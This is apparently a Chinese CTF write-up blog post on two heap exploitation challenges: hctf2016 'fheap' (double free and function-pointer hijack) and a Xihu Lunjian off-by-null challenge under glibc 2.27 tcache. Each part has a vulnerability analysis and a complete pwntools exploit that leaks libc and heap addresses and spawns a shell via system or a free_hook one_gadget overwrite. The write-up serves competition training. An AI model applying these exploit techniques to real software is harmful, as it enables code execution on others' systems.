fheap
来源:https://github.com/zh-explorer/hctf2016-fheap/blob/master/main.c
题目
只有两个功能:add delete
add 初始时会分配一个struct,然后会分两种情况:
- 长度小于16时,不再申请新的chunk,原结构体的前十六个字节用于接收用户输入;
- 长度大于16时,会申请一个新的chunk,用于存放data,此时原结构体的前八个字节存放着指向新chunk的指针。
原结构体的最后十六个字节,会分别存放size 及 对应的 free函数
这里可以看到输入的size没有任何卵用,后面还是根据输入的长度来确定的。
delete 会检查存放在bss段的指针,指针存在就可以释放
分析
delete 函数有明显的漏洞,之前本来设置了inuse位,但是并没有检查,同时指针仅仅是free而没有置为空,所以可以double free;
还有问题就是指针同时存放在堆中,一般而言,这样很容易造成劫持;
不过这次没有show函数,也就是说,没有办法直接通过输出泄露地址,这样一般就需要劫持指针或者是最低位修改;
而且这次有个问题就是或许是因为没有设置缓冲区的原因,前面输入的chunk data在后面新建chunk会直接赋值过去,这样子造成如果初始时分配大的chunk,后面就没办法分配到小chunk了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] name = './pwnf' p = process(name) elf= ELF(name)
# puts_offset = 0xd1a # printf_pffset = 0xdbb def create(num,data): p.recvuntil('3.quit\n') p.sendline('create ') p.recvuntil('Pls give string size:') p.sendline(str(num)) p.recvuntil('str:') p.send(data) def delete(num): p.recvuntil('3.quit\n') p.sendline('delete ') p.recvuntil('id:') p.sendline(str(num)) p.recvuntil('Are you sure?:') p.send("yes") create(5,'a'*5) #0 create(5,'b'*5) #1
delete(1) delete(0)
#leak pay1 = 'q'*20 + 's'*4 + '\x1a' create(32,pay1) delete(1) p.recvuntil('s'*4) puts_addr = u64(p.recv(6) + '\x00\x00') proc_base = puts_addr - 0xd1a printf_addr = proc_base + 0x9d0
delete(0) pay2 = 'a'*8 + '%30$p' + 's'*11 + p64(printf_addr) create(32,pay2) delete(1) x = p.recv() libc_addr = int(x[8:22],16) - 0x3b5760 system_addr = libc_addr + 0x42510
#getshell p.sendline('') delete(0) pay3 = '/bin/sh;' + 's'*16 + p64(system_addr) create(32,pay3) delete(1)
p.interactive()
|
pwn
ex师傅给的题,说是西湖论剑的一道题目,题目质量还是可以的,写一下。
题目
正常的堆,四个功能齐全,漏洞点也比较明显(虽然第一次被我直接跳过了。。)。在add的时候使用了自己的get_str函数,将最末尾置为了0,
也就是最近经常见到的off-by-null,不过就是这次分配时大小是固定的且libc为2.27,所以多了一些技巧性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| _BYTE *__fastcall get_str(_BYTE *a1, int size) { _BYTE *result; // rax int v3; // [rsp+1Ch] [rbp-4h]
v3 = 0; if ( size ) { while ( 1 ) { read(0, &a1[v3], 1uLL); if ( v3 > size - 1 || !a1[v3] || a1[v3] == '\n' ) break; ++v3; } a1[v3] = 0; result = &a1[size]; *result = 0; } else { result = a1; *a1 = 0; } return result; }
|
分析
tcache机制需要绕过,同时也带来了一些便利,比如分配时不检查size
思路:
- 绕过tcache,利用unsorted bin中残留的信息泄露libc
- 利用tcache, 根据其中残留的信息泄露heap
- 利用off-by-null,改变inuse位,伪造fake chunk触发unlink实现chunk extend
- 将重叠的堆块重新置入tcache中,修改fd到free_hook修改为one_gadget getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| #!/usr/bin/env python2
import sys from pwn import *
#context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c']
if len(sys.argv) > 1: local = 0 else: local = 1
if local: sh = process('xihu') elf = ELF('xihu') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('','') elf = ELF('xihu') #libc=ELF('')
def add(size,con): sh.sendlineafter('command:\n','1') sh.sendlineafter('size:\n',str(size)) sh.sendlineafter('content:\n',con)
def show(index): sh.sendlineafter('command:\n','3') sh.sendlineafter('enter index:\n',str(index))
def dele(index): sh.sendlineafter('command:\n','2') sh.sendlineafter('enter index:\n',str(index))
def edit(index,con): sh.sendlineafter('command:\n','4') sh.sendlineafter('enter index:\n',str(index)) sh.sendafter('content:\n',con)
for i in range(10): add(0xf7,str(i)*0x20)
for i in range(8): dele(i)
#----------------unsorted bin leak libc-------------------------------# #gdb.attach(sh) add(0xf8,'')#0 for i in range(1,7): add(0xf7,str(i)) #1-6
add(0xf7, '7') #7 edit(7, 'a' * 8) show(7) sh.recvuntil('a'*8) libc_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3ebca0 print "libc: "+hex(libc_base) free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0x4f322
#---------------tcache leak heap -------------------------------------# #gdb.attach(sh) edit(0,'0') show(0) heap_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x730 print hex(heap_base)
#------fake chunk unlink #---chunk extend cover fd ptr--------------#
chunk0_addr = heap_base + 0x850 fake_chunk = chunk0_addr + 0x10
pay = p64(0)+p64(0xf0)+p64(fake_chunk)+p64(fake_chunk)+'a'*0xd0+p64(0xf0)
edit(0,pay)
dele(8)
for i in range(1,7): dele(i)
dele(7)
for i in range(1,8): add(0xf7,str(i))
add(0xf7,'8') dele(2) dele(8) pay = p64(0)+p64(0x101)+p64(free_hook) edit(0,pay)
add(0,'') #gdb.attach(sh) add(0xf7,'') edit(8,p64(one_gadget))
dele(0)
#gdb.attach(sh) sh.interactive()
|